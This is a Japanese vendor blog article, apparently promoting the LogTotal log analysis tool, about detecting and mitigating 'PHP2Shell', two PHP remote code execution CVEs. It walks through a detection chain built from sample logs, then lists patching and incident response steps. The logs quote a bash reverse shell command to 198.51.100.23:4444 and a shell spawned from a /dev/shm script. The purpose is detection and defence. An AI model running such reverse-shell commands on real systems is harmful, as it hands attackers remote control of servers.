PHP2Shell 検出とエクスプロイト分析

PHP2Shell の検出が重要である理由は、パッチと実際の攻撃の間の時間差が1日以内になることがあるからです。PHP2Shell は、PHP コアの2つの認証不要のリモートコード実行脆弱性、CVE-2026-109618およびCVE-2026-109619の名前であり、いずれもCVSS v4.0で9.2と評価されています。認証は不要で、未パッチのリリースに露出しているPHPアプリケーションはすべて標的になります。以下のサンプルでは、PHPワーカーのクラッシュとその後のウェブサーバーユーザーとしてのコマンド実行として攻撃が現れています。

この記事は、ログ解析ツールLogTotalを用いて、既知の脅威にイベントを一致させることでPHP2Shellの検出をカバーしています。以下では、脆弱性の背景、ログの出所、LogTotalの発見、そして対応方法を説明します。

PHP2Shellの分析

両方のPHP2Shellの脆弱性はCVSS v4.0で9.2と評価されており、どのPHPインストールでも認証なしで到達可能です。ログサンプルを正しく読むには、それぞれのバグの動作、公開の速さ、どのインストールが露出しているかを知っておくと役立ちます。

無料で始める

PHP2Shellの脆弱性詳細

2つのCVEは、PHPがリクエストを処理する際のメモリ安全性の別々のバグです。どちらも攻撃者がウェブサーバーユーザーとしてコードを実行できるようにします。

• CVE-2026-109618、メモリ不足の破損。 PHPがリクエストの設定途中でメモリ不足になると、内部データが半分構築されたままになり、クリーンアップコードがそれを信頼します。
• CVE-2026-109619、古いグローバル状態。 内部状態が指すリクエストメモリが存続しているため、次のリクエストで同じワーカーがピックアップすると残っているデータに基づいて行動できます。

このため、攻撃はPHP「許可されたメモリサイズ…消費された」エラーとPHPワーカークラッシュとして現れます。公開されているPHP2Shellスキャナも同様のシグナルを探します。

公開と攻撃のタイムライン

Califの研究者が脆弱性を見つけ、PHPに報告しました。漏洩があったため、LogTotalのチェーンは「リークされた重大なPHP脆弱性」と題されています。公開PoCコードと攻撃フレームワークは数日以内にGitHub上に登場し、1つの研究ツールキットはPHPの7.4から8.4のビルドの修正リリース以下でwww-dataとしてのコマンド実行を確認しました。

PHP2Shellが影響を与えるシステム

PHPは、8.5.12、8.4.27、8.3.36、8.2.35以前のすべてのリリース、および古いブランチが影響を受けているとリストしています。

PHP-FPM、Apache mod_php、php-cgi、LiteSpeed、またはFrankenPHPの下で実行されるかどうかにかかわらず、ウェブリクエストを提供するすべてのPHPインストールは対象内です。PHPは、攻撃がアプリケーションコードが実行される前に成功する可能性があるApache mod_phpのリスクが最も高いと評価しています。

ログソースと収集

ファイルは2つのソースを1つのスキーマにブレンドしています：

• 2行のプレーンテキスト行 PHPランタイムとPHP-FPMエラーログより
• 4イベント （ファイルおよびプロセス）、ECSに正規化

混合は、実際にSIEMに到達するものの典型です：アプリケーションエラーログとEDRのテレメトリ。

PHP2Shellを検出する

LogTotalは4.2秒で6行を処理し、9つのルールを4行に対して一致させ、web-prod-01上で1つのチェーンを形成しました： PHP2Shell、リークされた重大なPHP脆弱性（CVE-2026-109618およびCVE-2026-109619）、重大、100％一致、3ルールが発火。

PHP2Shellチェーンがどのように展開するのか

チェーンは、3秒以内に3つのステップで攻撃を追います。

1. クラッシュ。 「可能性のあるCVE-2026-109618 / CVE-2026-109619攻撃試み – PHPメモリ消費 / PHPワーカークラッシュ」のルールが、PHP致命的な「許可されたメモリサイズ…消費された」エラーとSIGSEGVで死亡したPHP-FPM子1201に一致しました。これらは、公開されているPHP2Shellスキャナが探す同じクラッシュシグナルです。
2. ウェブワーカーからのシェル。 「可能性のあるPHPワーカ生成の不審なプロセス」と「ウェブサーバ経由の不審なシェル[Linux]」が、www-dataとして動作するphp-fpm、sh -c bash /dev/shm/.sを生成するのをキャッチしました。そのスクリプトはRAMにバックアップされた/dev/shmに段階的に設置されました。
3. リバースシェル。 bash -i >& /dev/tcp/198.51.100.23/4444 0>&1に「可能性のあるデータ漏洩 / バッシュ経由のリバースシェル」が一致しました。チェーン外で、4つのルールが同じコマンドにヒットし、Linuxリバースシェルインジケータ（重大）で先導されました。

LogTotalの調査結果をPHP2Shellのトリアージで使用する

チェーンは1つの画面でイベントの順序と重大度を提供します。生のイベントは、ブロックすべきIOCと削除すべき永続性を提供します。両方を使います：チェーンの3つのステップを確認し、ファイルイベントとコマンドラインをレビューしてIOCと永続性を確認します。

PHP2Shellの緩和策

PHP2Shellに対する決定的な対策は修正済みのPHPリリースであり、PHPはこれらの脆弱性を完全に緩和する設定変更はないと述べています。既に攻撃を受けたサーバーでは、パッチを当てるだけでは不十分であり、PHPアップグレードを通じてwebshellと.user.iniが持続します。

すべてのPHPインストールにパッチを当てる

1. インターネットに面したシステムやApacheモジュールとしてPHPを実行しているシステムから始めて、PHPを実行しているすべてのサーバーとアプリケーションを目録作成する。
2. それぞれのインストールをそのブランチに合わせて8.5.12、8.4.27、8.3.36、または8.2.35に更新する。Linuxディストリビューションはリリースに先立ってパッチを受け取ったので、更新されたディストリビューションパッケージを確認してください。
3. 修正が有効になるように、すべてのPHPワーカを再起動する。
4. PHP 7.4、8.0、および8.1の場合、ディストリビューションやLTSベンダーパッケージ、PHPの最小限のソースバックポートを使用するか、アップグレードしてください。PHP 7.3と古いものには修正がありません。
5. すぐに更新できないPHPシステムへのインターネットアクセスを制限する。

コミュニティのトラッカーも別のセッションアップロード進行ベクターであるCVE-2026-115560を報告しています。これは、2026年10月23日のPHP情報アドバイザリーでカバーされています。この穴はPHP2Shellの一部ではなく、後のリリースに残されています。暫定的な推奨は session.upload_progress.enabled = 0 です。

LogTotalの推奨応答

1. web-prod-01を隔離します。
2. そのウェブ、システム、およびネットワークログを保存する。
3. リバースシェルの宛先を調査します。
4. PHPのバージョンとパッチを確認する。
5. 今後のPHPワーカクラッシュとシェル生成に関するアラートを出します。

生の証拠からの追加ステップ

1. エグレスをブロック 198.51.100.23:4444へ。
2. クリーンアップ前に証拠を保存する： uploads/.cache.php、.user.ini、および/dev/shm/.sをコピーします。/dev/shm内のファイルは再起動時に失われます。
3. 永続性を削除します。 auto_prepend_fileディレクティブを削除するか、修正済みのPHPリリースでホストをリビルドします。
4. www-dataが読み取れるすべての秘密をローテーションする、例えばアプリケーション構成内のデータベースクレデンシャルやAPIキーなど。
5. ウェブフリートを監視する ：
   • .user.ini ファイル（auto_prepend_fileを含む）
   • アップロードフォルダーに隠されたPHPファイル
   • php-fpm、php-cgi、apache2、またはhttpdによって生成されたシェル

継続するPHP2Shellの監視

クラッシュラインが最初のシグナルで、EDRファイルイベントが永続性を保持していたこのサンプルでは、EDRテレメトリーと並んでPHPおよびPHP-FPMエラーログをSIEMに流し続けてください。いずれのソース単独でも、話の半分しか伝えられなかったでしょう。